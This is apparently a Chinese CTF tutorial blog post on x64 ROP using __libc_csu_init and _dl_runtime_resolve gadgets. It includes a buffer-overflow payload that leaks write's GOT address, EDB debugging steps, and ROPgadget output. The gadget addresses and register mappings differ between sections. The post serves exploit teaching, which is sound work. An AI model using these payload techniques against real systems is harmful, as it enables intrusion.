CTF

来自__ libc_ csu_ init()的通用gadgets

Posted by 许大仙 on August 10, 2018

day 9 for CTF

x64的机器下,调用函数常常需要gadget来设置参数,如果ROPgadget工具并没有找到类似于pop rdi, ret,pop rsi, ret这样的gadgets。那应该怎么办呢?

其实在x64下有一些万能的gadgets可以利用

一、来自__ libc_ csu_ init()的通用gadgets

一般来说,只要程序调用了libc.so[大多程序都会默认调用这个库],程序都会有__libc_csu_init()这个函数[位于程序的.text节,NO PIE时,地址不变]用来对libc进行初始化操作

libc.so库文件有很多的库函数,通过IDA反汇编在Function window窗口就可以看到【比如exit,execve,strlen,fprintf,malloc,free,isdigit,isalpha等等】。

libc.so库文件

objdump -d ./level5观察一下__ libc_ csu_ init()这个函数。

__ libc_ csu_ init()函数

我们可以看到利用0x4006aa处的代码我们可以控制通过布置栈来设置rbx,rbp,r12,r13,r14和r15的值,随后利用0x400690处的代码我们将r15的值赋值给rdx, r14的值赋值给rsi,r13的值赋值给edi,随后就会调用call qword ptr [r12+rbx* 8]。 这时候只要在前面将rbx的值赋值为0,再构造%r12为要调用的函数地址[很适合GOT表,因为这里是简介调用]。

执行完call qword ptr [r12+rbx*8]之后,程序会对rbx+=1,然后对比rbp和rbx的值,如果相等就会继续向下执行并ret到我们想要继续执行的地址[二次溢出]。

所以为了让rbp和rbx的值相等,我们可以将rbp的值设置为1,因为之前已经将rbx的值设置为0了。

然后布置56字节的垫板[6个pop,1个pop需深高栈8字节,然后还有一个add $0x8,%rsp,所以需要8*6+8=56字节的栈布置,数据任意。]

  4006a6:	48 83 c4 08  	add$0x8,%rsp
  4006aa:	5b   	pop%rbx
  4006ab:	5d   	pop%rbp
  4006ac:	41 5c	pop%r12
  4006ae:	41 5d	pop%r13
  4006b0:	41 5e	pop%r14
  4006b2:	41 5f	pop%r15

具体:

x64中的前六个参数依次保存在RDI, RSI, RDX, RCX, R8和 R9中

  • r13 =rdx=arg3

  • r14 =rsi=arg2

  • r15d = edi=arg1[局限在于只能设置32位的值,而非64位的%rdi]

  • r12= call address

    1.执行gad1

      .text:000000000040089A pop rbx  必须为0
      .text:000000000040089B pop rbp  必须为1 
      .text:000000000040089C pop r12  call!!!!
      .text:000000000040089E pop r13  arg3
      .text:00000000004008A0 pop r14  arg2
      .text:00000000004008A2 pop r15  arg1
      .text:00000000004008A4 retn  ——> to gad2
    

    2.再执行gad2

      .text:0000000000400880 mov rdx, r13
      .text:0000000000400883 mov rsi, r14
      .text:0000000000400886 mov edi, r15d
      .text:0000000000400889 callqword ptr [r12+rbx*8] call!!!
      .text:000000000040088D add rbx, 1
      .text:0000000000400891 cmp rbx, rbp #为了rbx = rbp,所以rbp必须为1,这样jnz不满足,顺序执行add rsp, 8; 56字节垫板后二次利用。
      .text:0000000000400894 jnz short loc_400880
      .text:0000000000400896 add rsp, 8
      .text:000000000040089A pop rbx
      .text:000000000040089B pop rbp
      .text:000000000040089C pop r12
      .text:000000000040089E pop r13
      .text:00000000004008A0 pop r14
      .text:00000000004008A2 pop r15
      .text:00000000004008A4 retn ——> 构造一些垫板(7*8=56byte)就返回了
    

构造通用ROP链

大概思路就是这样,我们下来构造常用的ROP链——泄露write函数的真实地址。

我们先构造payload,利用write()输出write在内存中的地址。注意我们的gadget是call qword ptr [r12+rbx* 8],所以我们应该使用write.got的地址而不是write.plt的地址[write.got得到的是got表中write条目的地址,条目内容才是write函数的真实跳转地址,所以适合call * ]。并且为了返回到原程序中,重复利用buffer overflow的漏洞,我们需要继续覆盖栈上的数据,直到把最终的返回值[第二次到达retq时]覆盖成目标函数的main函数为止。

payload1 =  "\x00"*136  #paddings
payload1 += p64(0x4006aa) + p64(0) +p64(0) + p64(1) + p64(got_write) + p64(1) + p64(got_write) + p64(8) # pop_junk_rbx_rbp_r12_r13_r14_r15_ret
payload1 += p64(0x400690) # mov rdx, r15; mov rsi, r14; mov edi, r13d; call qword ptr [r12+rbx*8]
payload1 += "\x00"*56 #垫板paddings
payload1 += p64(main) #二次溢出利用

这样就可以调用write函数,打印出write的函数地址

要注意的是,当我们把程序的io重定向到socket上的时候,根据网络协议,因为发送的数据包过大,read()有时会截断payload,造成payload传输不完整造成攻击失败。这时候要多试几次即可成功。如果进行远程攻击的话,需要保证ping值足够小才行(局域网)

二、EDB——linux下的ollydbg[动态调试]

在linux下也有类似于ollydbg的调试工具,那就是EDB-debugger

EDB的下载地址,具体的编译请参考readme:EDB-debugger

具体依赖库及安装过程,For Ubuntu >= 15.10

# install dependencies
sudo apt-get install   \
    cmake  \
    build-essential\
    libboost-dev   \
    libqt5xmlpatterns5-dev \
    qtbase5-dev\
    qt5-default\
    libqt5svg5-dev \
    libgraphviz-dev\
    libcapstone-dev

# build and run edb
git clone --recursive https://github.com/eteran/edb-debugger.git
cd edb-debugger
mkdir build
cd build
cmake ..
make
./edb

首先是挂载(attach)进程和设置断点(break point)。我们知道当我们在用exp.py脚本进行攻击的时候,脚本会一直运行,我们并没有足够的时间进行挂载操作。想要进行调试的话我们需要让脚本暂停一下,随后再进行挂载。暂停的方法很简单,只需要在脚本中加一句”raw_input()”即可。比如说我们想在发送payload之前暂停一下脚本,只需要这样:

ss = raw_input()
print "\n#############sending payload1#############\n"
p.send(payload1)

这样的话,当脚本运行起来后,就会在raw_input()这一行停下来,等待用户输入

这时候我们就可以启动EDB进行挂载了。 使用EDB进行挂载非常简单,输入进程名点ok即可[process(‘./test’),本地调试]

EDB挂载py脚本

挂载上以后就可以设置断点了。首先在调试窗口按”ctrl + g”就可以跳转到目标地址,我们这里将地址设置为0x4006aa,也就是第一个gadget的地址。

ctrl + g定位到所需地址

接着我们在0x4006aa这个地址前双击,就可以看到一个红点,说明我们已经成功的下了断点。接着按“F9”或者点击”Run”就可以让程序继续运行[遇到断点停下]了。

双击断点+F9运行

虽然程序继续运行了,但是脚本还在继续等待用户的输入,这时候只需要在命令行按一下回车【ss = raw_input()完成输入,raw_input() 用来获取控制台的输入,将所有输入作为字符串看待,返回字符串类型。】,程序就会继续运行,随后会暂停在”0x4006aa”这个断点。

程序运行停止在绿色小箭头处

接着我们可以按”F8”或者”F7”进行单步调试主窗口会显示当前将要执行的指令以及执行后的结果。右边会看到各个寄存器的值。注意,在寄存器(比如说RSP)的值上点击右键,可以选择”follow in dump”,随后就在data dump窗口就能看到这个地址上对应数据是什么了

除此之外,EDB还支持动态修改内存数据,当你选中数据后,可以右键,选择”Edit Bytes”,就可以对选中的数据进行动态修改

三、设置第一个参数/第二个参数的gadgets

如一中所述,__ libc_ csu_ init()有一条万能gadgets。

其实不光__ libc_ csu_ init()里的代码可以利用,默认gcc还会有如下自动编译进去的函数可以用来查找gadgets。

_init
_start
call_gmon_start
deregister_tm_clones
register_tm_clones
__do_global_dtors_aux
frame_dummy
__libc_csu_init
__libc_csu_fini
_fini

除此之外在程序执行的过程中,CPU只会关注于%eip指针的地址,并不会关注是否执行了编程者想要达到的效果。因此,通过控制%eip指针跳转到某些经过稍微偏移过的地址会得到意想不到的效果。

(一)还是__ libc_ csu_ init()这个函数的尾部:

在pop %r14的位置偏移1个字节和3个字节得到令人兴奋的指令——可以设置第一个参数和第二个参数。

设置第一个参数和第二个参数

四、_ dl_ runtime_ resolve()中的gadget

如果我们能得到libc.so或者其他库在内存中的地址,就可以获得到大量的可用的gadgets。 比如: _ dl_ runtime_ resolve()中的gadget可以控制六个64位参数寄存器的值,当我们使用参数比较多的函数的时候(比如mmap和mprotect)就可以派上用场了。

注:_ dl_ runtime_ resolve()的作用在PLT和GOT表的文章中有介绍过,所用是:找到库函数的真实内存地址,并填到对应的GOT表项。

_dl_runtime_resolve函数位于ld.so中,ld.so是linux系统的动态链接器,当应用程序需要使用动态链接里的函数时,由ld.so负责加载

如何找到ld.so文件呢?

  • 任意一个需要调用到库的二进制文件(调用libc.so也算啊,毕竟都要动态链接)
  • 用ldd 二进制文件名:查看用到的.so文件,里面肯定有动态链接库文件,类似于ld-linux-64.so
  • 前面有路径,或者直接在computer中搜索

找到ld.so文件

反汇编_ dl_ runtime_ resolve()函数:

0x7ffff7def200 <_dl_runtime_resolve>:   sub rsp,0x38
0x7ffff7def204 <_dl_runtime_resolve+4>: mov QWORD PTR [rsp],rax
0x7ffff7def208 <_dl_runtime_resolve+8>: mov QWORD PTR [rsp+0x8],rcx
0x7ffff7def20d <_dl_runtime_resolve+13>:mov QWORD PTR [rsp+0x10],rdx
0x7ffff7def212 <_dl_runtime_resolve+18>:mov QWORD PTR [rsp+0x18],rsi
0x7ffff7def217 <_dl_runtime_resolve+23>:mov QWORD PTR [rsp+0x20],rdi
0x7ffff7def21c <_dl_runtime_resolve+28>:mov QWORD PTR [rsp+0x28],r8
0x7ffff7def221 <_dl_runtime_resolve+33>:mov QWORD PTR [rsp+0x30],r9
0x7ffff7def226 <_dl_runtime_resolve+38>:mov rsi,QWORD PTR [rsp+0x40]
0x7ffff7def22b <_dl_runtime_resolve+43>:mov rdi,QWORD PTR [rsp+0x38]
0x7ffff7def230 <_dl_runtime_resolve+48>:call   0x7ffff7de8680 <_dl_fixup>
0x7ffff7def235 <_dl_runtime_resolve+53>:mov r11,rax
0x7ffff7def238 <_dl_runtime_resolve+56>:mov r9,QWORD PTR [rsp+0x30] #获取栈上的数据
0x7ffff7def23d <_dl_runtime_resolve+61>:mov r8,QWORD PTR [rsp+0x28]
0x7ffff7def242 <_dl_runtime_resolve+66>:mov rdi,QWORD PTR [rsp+0x20]
0x7ffff7def247 <_dl_runtime_resolve+71>:mov rsi,QWORD PTR [rsp+0x18]
0x7ffff7def24c <_dl_runtime_resolve+76>:mov rdx,QWORD PTR [rsp+0x10]
0x7ffff7def251 <_dl_runtime_resolve+81>:mov rcx,QWORD PTR [rsp+0x8]
0x7ffff7def256 <_dl_runtime_resolve+86>:mov rax,QWORD PTR [rsp]
0x7ffff7def25a <_dl_runtime_resolve+90>:add rsp,0x48s
0x7ffff7def25e <_dl_runtime_resolve+94>:jmp r11 #注意这里的jmp,可以用于调用所需函数,但是r11的值取决于rax[上面的mov r11,rax指令]

从0x7ffff7def235开始,就是这个通用gadget的地址了。通过这个gadget我们可以控制rdi,rsi,rdx,rcx, r8,r9的值。

但要注意的是_ dl_ runtime_ resolve()在内存中的地址是随机的。所以我们需要先用information leak得到_ dl_ runtime_ resolve()在内存中的地址。那么_ dl_ runtime_ resolve()的地址被保存在了哪个固定的地址呢?

PLT和GOT表

在前面学习的PLT和GOT表过程中,我们知道我们是通过PLT[X]跳转到PLT[0],再跳转到GOT表中的某一个条目中的内容作为地址,从而调用_ dl_ runtime_ resolve()函数的。使用PLT [0] 去查找某函数[比如这里system/read]在内存中的地址,函数jump过去的地址* 0x600a58其实就是_ dl_ runtime_ resolve()在内存中的地址了【通过PLT[0]间接跳转到GOT表中的一个条目下指定的地址——即_ dl_ runtime_ resolve()函数的地址,从而调用_ dl_ runtime_ resolve()函数】。

所以只要获取到0x600a58这个地址保存的数据,就能够找到_ dl_ runtime_ resolve()在内存中的地址

_dl_runtime_resolve()

gdb-peda$ x/x 0x600a58
0x600a58 <_GLOBAL_OFFSET_TABLE_+16>:0x00007ffff7def200

gdb-peda$ x/21i 0x00007ffff7def200
   0x7ffff7def200 <_dl_runtime_resolve>:subrsp,0x38
   0x7ffff7def204 <_dl_runtime_resolve+4>:  mov QWORD PTR [rsp],rax
   0x7ffff7def208 <_dl_runtime_resolve+8>:  mov QWORD PTR [rsp+0x8],rcx
   0x7ffff7def20d <_dl_runtime_resolve+13>: mov QWORD PTR [rsp+0x10],rdx
….

另一个要注意的是,想要利用这个gadget,我们还需要控制rax的值,因为gadget是通过rax跳转的[看上面完整的gadgets代码就知道]

0x7ffff7def235 <_dl_runtime_resolve+53>:movr11,rax
……
0x7ffff7def25e <_dl_runtime_resolve+94>:jmpr11

所以我们接下来用ROPgadget查找一下libc.so中控制rax的gadget

ROPgadget –binary libc.so.6 –only “pop ret” grep “rax”
0x000000000001f076 : pop rax ; pop rbx ; pop rbp ; ret
0x0000000000023950 : pop rax ; ret
0x000000000019176e : pop rax ; ret 0xffed
0x0000000000123504 : pop rax ; ret 0xfff0

0x0000000000023950刚好符合我们的要求。有了pop rax和_dl_ runtime_ resolve这两个gadgets,我们就可以很轻松的调用想要的调用的函数了。

未完待续!!!

参考链接:http://www.vuln.cn/6643